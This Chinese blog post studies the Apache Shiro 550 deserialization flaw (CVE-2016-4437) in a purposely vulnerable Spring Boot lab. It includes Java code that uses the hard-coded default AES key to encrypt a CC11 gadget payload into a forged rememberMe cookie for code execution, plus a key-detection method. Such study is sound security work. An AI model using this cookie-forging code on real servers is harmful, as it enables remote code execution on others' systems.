Shiro 550 漏洞学习(一)

0x00 前言

说到 shiro 想必大家都很熟悉了,在近几年的 hw 中都担任了非常重要的角色,Shiro 550 就是 CVE-2016-4437,AES Key硬编码的那个,在Github上也有各种工具,但是没学习原理只用工具梭哈,终究只能做一个脚本小子,所以来简单的学习一下

0x01 Shiro 简单介绍

参考链接:https://zhuanlan.zhihu.com/p/54176956,https://www.cnblogs.com/progor/p/10970971.html#shiro%E5%8A%9F%E8%83%BD

shiro 是一款轻量化的权限管理框架,能够较方便的实现用户验权,请求拦截等功能,同类型的框架是我们的 Spring Security ,相比之下 Spring Security 提供了更多的功能,我们这里来简单的介绍一下

Shiro 架构中主要有三个核心的概念:Subject, SecurityManager, Realms

image-20210418162523103

Subject:代表当前的用户

SecurityManager:管理者所有的 Subject ,在官方文档中描述其为 Shiro 架构的核心

Realms:SecurityManager的认证和授权需要使用Realm,Realm负责获取用户的权限和角色等信息,再返回给SecurityManager来进行判断,在配置 Shiro 的时候,我们必须指定至少一个Realm 来实现认证(authentication)和/或授权(authorization)

我们需要实现Realms的Authentication 和 Authorization。其中 Authentication 是用来验证用户身份,Authorization 是授权访问控制,用于对用户进行的操作授权,证明该用户是否允许进行当前操作,如访问某个链接,某个资源文件等。

下面是自己实现的 Realm,这里我们实现了认证的方法

image-20210418164727445

这里的 getPrincipal 其实就是获取我们登录的用户名,getCredentials 其实就是我们登录的密码

image-20210416104618099

我们这里的逻辑大致就是 如果获取到的用户名等于 admin 同时密码也为 admin那么就返回 AuthenticationInfo

AuthenticationInfo会携带存储起来的正确的用户认证信息,用来与用户提交的信息进行比对,如果信息不匹配,那么会认证失败

0x02 漏洞原理

在 Shiro <= 1.2.4 中,AES 加密算法的key是硬编码在源码中,当我们勾选remember me 的时候 shiro 会将我们的 cookie 信息序列化并且加密存储在 Cookie 的 rememberMe字段中,这样在下次请求时会读取 Cookie 中的 rememberMe字段并且进行解密然后反序列化

由于 AES 加密是对称式加密(Key 既能加密数据也能解密数据),所以当我们知道了我们的 AES key 之后我们能够伪造任意的 rememberMe 从而触发反序列化漏洞

0x03 漏洞环境

很简单的漏洞环境,是从 vulhub中提出来的

ps:原生 shiro 中是没有 common-collections的,这里为了更好的演示,所以添加了 common-collections 依赖

结构如下:

image-20210418170742216

UserController:

package shiroexploit.demo.Controller;

import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.AuthenticationToken;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.subject.Subject;
import org.apache.shiro.web.filter.authc.AuthenticatingFilter;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;

@Controller
public class UserController {

    @PostMapping("/doLogin")
    public String doLoginPage(@RequestParam("username") String username,@RequestParam("password") String password,@RequestParam(name="rememberme", defaultValue="") String rememberMe){
        Subject subject = SecurityUtils.getSubject();
        try {
            subject.login((AuthenticationToken)new UsernamePasswordToken(username, password, rememberMe.equals("remember-me")));
        // 如果认证失败
        }catch (AuthenticationException e) {
            return "forward:/login";
        }
        return "forward:/";
    }

    @ResponseBody
    @RequestMapping(value={"/"})
    public String helloPage() {
        return "hello";
    }

    @ResponseBody
    @RequestMapping(value={"/unauth"})
    public String errorPage() {
        return "error";
    }

    @ResponseBody
    @RequestMapping(value={"/login"})
    public String loginPage() {
        return "please login pattern /doLogin";
    }
}

MainRealm:

package shiroexploit.demo.Shiro;

import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.AuthenticationInfo;
import org.apache.shiro.authc.AuthenticationToken;
import org.apache.shiro.authc.IncorrectCredentialsException;
import org.apache.shiro.authc.SimpleAuthenticationInfo;
import org.apache.shiro.authz.AuthorizationInfo;
import org.apache.shiro.mgt.AbstractRememberMeManager;
import org.apache.shiro.realm.AuthorizingRealm;
import org.apache.shiro.subject.PrincipalCollection;

public class MainRealm extends AuthorizingRealm {
    // 用于授权
    protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) {
        // 获取当前授权的用户
        return null;
    }

    // 用于认证
    protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException {
        // getPrincipal 获取当前用户身份
        String username = (String)authenticationToken.getPrincipal();
        // 获取当前用户信用凭证 (其实就是获取密码 密码是 char类型的所以要转一下
        String password = new String((char[])authenticationToken.getCredentials());
        // 如果等于就返回对应的用户凭证
        if (username.equals("admin") && password.equals("admin")) {
            // shiro 会返回一个 AuthenticationInfo
            // 当前的realm名字
            return new SimpleAuthenticationInfo((Object)username, (Object)password, this.getName());
        }
        throw new IncorrectCredentialsException("Username or password is incorrect.");
    }
}

ShiroConfig:

package shiroexploit.demo.Shiro;

import java.util.LinkedHashMap;
import org.apache.shiro.mgt.RememberMeManager;
import org.apache.shiro.mgt.SecurityManager;
import org.apache.shiro.realm.Realm;
import org.apache.shiro.spring.web.ShiroFilterFactoryBean;
import org.apache.shiro.web.mgt.CookieRememberMeManager;
import org.apache.shiro.web.mgt.DefaultWebSecurityManager;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
//import org.vulhub.shirodemo.MainRealm;

@Configuration
public class ShiroConfig {

    @Bean
    MainRealm mainRealm() {
        return new MainRealm();
    }

    @Bean
    RememberMeManager cookieRememberMeManager() {
        return new CookieRememberMeManager();
    }


    @Bean
    SecurityManager securityManager(MainRealm mainRealm, RememberMeManager cookieRememberMeManager) {
        DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
        manager.setRealm((Realm)mainRealm);
        manager.setRememberMeManager(cookieRememberMeManager);
        return manager;
    }

    @Bean(name={"shiroFilter"})
    ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) {
        ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
        bean.setSecurityManager(securityManager);
        bean.setLoginUrl("/login");
        bean.setUnauthorizedUrl("/unauth");
        LinkedHashMap<String, String> map = new LinkedHashMap<String, String>();
        map.put("/doLogin", "anon");
        map.put("/**", "user");
        bean.setFilterChainDefinitionMap(map);
        return bean;
    }
}

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.4.4</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>ShiroExploit</groupId>
    <artifactId>demo</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>demo</name>
    <description>Demo project for Spring Boot</description>
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
            <version>1.2.4</version>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-web</artifactId>
            <version>1.6.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-spring</artifactId>
            <version>1.6.0</version>
        </dependency>

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.25.0-GA</version>
            <scope>test</scope>
        </dependency>


    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>

0x04 漏洞利用

这里我们利用 cc11 来加载我们的恶意代码来打过去,cc11 的好处在于可以直接加载字节码,例如 cc6 和 cc11的区别就是一个是命令执行一个是代码执行,相比之下肯定是我们的代码执行危害比较大

ps:这里其实 cc6 是不行的,具体可以参考p神的 java漫谈

cc11 的 Poc 我们之前贴过了,由于 Poc 太长了所以这里直接放链接了

链接:https://www.yuque.com/tianxiadamutou/zcfd4v/th41wx

运行 cc11 的 poc 生成对应文件,然后利用如下代码进行加密生成

package shiroexploit.demo;
import com.sun.crypto.provider.AESKeyGenerator;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;


public class AESencode {
    public static void main(String[] args) throws Exception {
        String path = "/Users/xxxx/Desktop/java/ShiroTool/cc11";
        byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        AesCipherService aes = new AesCipherService();
        ByteSource ciphertext = aes.encrypt(getBytes(detectpath), key);
        System.out.printf(ciphertext.toString());
    }


    public static byte[] getBytes(String path) throws Exception{
        InputStream inputStream = new FileInputStream(path);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        int n = 0;
        while ((n=inputStream.read())!=-1){
            byteArrayOutputStream.write(n);
        }
        byte[] bytes = byteArrayOutputStream.toByteArray();
        return bytes;

    }
}

将生成的密文作为 rememberMe 的值进行传递,最终触发我们的计算器

image-20210418210615190

0x05 漏洞分析

shiro的链其实蛮短的,同时也很好理解,我们接下来来分析一下

首先我们大体思路要有,那么就是 shiro 获取来我们cookie中 rememberMe 的值然后进行了 base64解码,AES 解密,然后再 readObject 造成的,大致流程如下:

image-20210418211722559

首先会在 AbstractRememberMeManager#getRememberedPrincipals 中将上下文中获取数据传入getRememberedSerializedIdentity 函数中

image-20210416215436681

我们跟进该函数 CookieRememberMeManager#getRememberedSerializedIdentity 会从我们的请求的 cookie 中获取对应的值

image-20210416215630500

在SimpleCookie#readValue中获取了 Cookie 中的 rememberMe 的值同时进行了返回

image-20210416215950619

再次回到 CookieRememberMeManager#getRememberedSerializedIdentity 中进行 Base64 解码,然后返回解码后的字节数组

image-20210416220118681

回到最初的方法 AbstractRememberMeManager#getRememberedPrincipals 中将之前返回的字节数组转换成PrincipalCollection,跟进该函数

image-20210416220310736

在 AbstractRememberMeManager#convertBytesToPrincipals 中会调用 decrypt 方法,我们继续跟进

image-20210416220610274

来到 AbstractRememberMeManager#decrypt,在该方法中会利用 getDecryptionCipherKey 函数获取到 AES 的 key,然后进行解密

这里不难猜测 getDecryptionCipherKey 返回的就是 AES Key,我们具体进行跟进

image-20210416220722966

我们看一下 getDecryptionCipherKey 是如何获取我们的 AES key 的,发现 getDecryptionCipherKey 会返回一个 数组,对应的我们去看 setDecryptionCipherKey 是如何进行设置的,找到之后发现在 setCipherKey 中将 cipherKey 传入到 setDecryptionCipherKey中(也就是第二个红框处)

image-20210416221318517

继续搜索哪里调用了 setCipherKey,发现在构造函数中调用了该函数,同时我们也发现了硬编码的密钥 DEFAULT_CIPHER_KEY_BYTES作为参数传入了该函数

image-20210416221608021

所以我们捋一下流程就是:

  1. AbstractRememberMeManager的构造函数中传入了 Base64解码后的密钥,然后调用了setCipherKey
  2. setCipherKey 中调用了setDecryptionCipherKey设置了decryptionCipherKey属性
  3. getDecryptionCipherKey 直接返回了该属性

接下来我们重新回到 decrypt 函数中,发现会调用 JcaCipherService#decrypt 进行解密,继续跟进

image-20210418213712700

继续进行跟进

image-20210416222055256

调用了 crypt 进行了解密

image-20210418221017209

2是解密模式,然后调用 doFinal 执行解密,然后返回解密结果

image-20210418221103584

返回到 AbstractRememberMeManager#decrypt 然后将返回值赋值给 byteSource ,然后存入到字节数组 serialized中, 然后进行返回

image-20210416222256748

返回值赋值给 bytes,调用 deserialize 进行反序列化操作

image-20210418232632670

AbstractRememberMeManager#deserialize

image-20210418214526787

最终来到 DefaultSerializer#deserialize 对数据进行反序列化,从而触发计算器

image-20210416222358264

最终效果如下:

image-20210416222534929

0x06 漏洞检测

文章链接:http://www.lmxspace.com/2020/08/24/%E4%B8%80%E7%A7%8D%E5%8F%A6%E7%B1%BB%E7%9A%84shiro%E6%A3%80%E6%B5%8B%E6%96%B9%E5%BC%8F/

网上的检测方法很多例如dnslog,cc盲打等,但是上面这些方法在某些特殊情况下并不奏效,这里我们主要来学习一下 l1nk3r 师傅提出的检测方案

key正确则不显示deleteMe,反之则显示 deleteMe,这样的检测方法能够高效的进行检测

我们先比对一下密钥正确和密钥错误的时候代码是如何走的,有什么区别,同时是如何利用这些区别来进行 key 的校验的

密钥错误情况

我们先来看一下密钥错误的时候,代码是如何走的

由于前面已经分析过了,所以前面的一些步骤我们这里就略过了直接从核心的代码处,也就是我们的 decrypt 开始分析,位置在 AbstractRememberMeManager#decrypt

image-20210418220131258

由于密钥是错的 所以解密失败抛出异常

image-20210418221323575

抛出的异常会在 getRememberedPrincipals 函数进行一个捕获,在 catch 中调用了 onRememberedPrincipalFailure 方法,我们进入该方法进行一个跟进

image-20210418221349716

在 AbstractRememberMeManager#onRememberedPrincipalFailure 中发现调用了 forgetIdentity 方法,我们继续进行跟进

image-20210417224929038

同样的继续跟进 removeForm方法

image-20210417225018771

发现在该方法中对我们的返回头进行了一个返回,也就是输出我们 deleteMe 的地方

image-20210417225103949

回过头来我们思考一下,我们最开始的起因是不是因为密钥解密失败,抛出了报错导致被getRememberedPrincipals的catch捕获,从而调用了 onRememberedPrincipalFailure 函数,最终在返回头重显示了 deleteMe

那么也就是说如果我们在运行过程中不抛出错误那么是不是就不会调用 onRememberedPrincipalFailure函数,从而最终不会显示 delteMe了呢?

接下来我们来看一下密钥正确的情况

密钥正确情况

前面都是一样的,由于密钥是正确的所以前面都不会进行报错

image-20210418223330992

反序列化中也没有报错,返回反序列化之后的类

image-20210418224919321

但是在这之后会进行一次类型转换,会将我们返回的类转换成 PrincipalCollection 类,否则就会抛出错误

下图是我们的 Gadget 在类型转换的时候抛出的异常的一个例子,位置 AbstractRememberMeManager#deserialize

image-20210417150134837

抛出了异常之后就会被 getRememberedPrincipals 的 catch 所捕获导致最终 header头中有 deleteMe

image-20210418225211047
image-20210418225454591

ps:这里还有一个就是我们的 Gadget在反序列化过程中自身不能出现报错,在利用 cc 的时候很多时候我们可以发现运行之后会产生报错,但是由于我们的命令执行在报错之前所以并无大碍,但是在这里检测的情况下抛出报错就会导致被捕获从而在返回头中出现 deleteMe

所以在密钥正确的情况下想要让回显头中没有 deleteMe 也是有条件的

  1. 我们需要构造一个继承于 PrincipalCollection 的序列化对象

这样当我们密钥正确的时候返回头重就不会有了 deleteMe

image-20210418225716896

构造

        SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
        ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("./detect.ser"));
        obj.writeObject(simplePrincipalCollection);
        obj.close();

然后进行一次 AES 加密发送即可

package shiroexploit.demo;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;


public class AESencode {
    public static void main(String[] args) throws Exception {
        String path = "/Users/xxxx/Desktop/java/ShiroExploit/detect.ser";
        byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        AesCipherService aes = new AesCipherService();
        ByteSource ciphertext = aes.encrypt(getBytes(path), key);
        System.out.printf(ciphertext.toString());
    }


    public static byte[] getBytes(String path) throws Exception{
        InputStream inputStream = new FileInputStream(path);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        int n = 0;
        while ((n=inputStream.read())!=-1){
            byteArrayOutputStream.write(n);
        }
        byte[] bytes = byteArrayOutputStream.toByteArray();
        return bytes;
    }
}

key正确的截图

image-20210418231602129

key错误的截图

image-20210418231621452

0x07 总结

至此第一部分就到这里了,本来打算把 Shiro 内存马那块写在一起但是怕篇幅太长了所以打算另开一篇来写,这样也好写的详细点

再次感谢 l1nk3r 师傅的文章,学到了很多

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注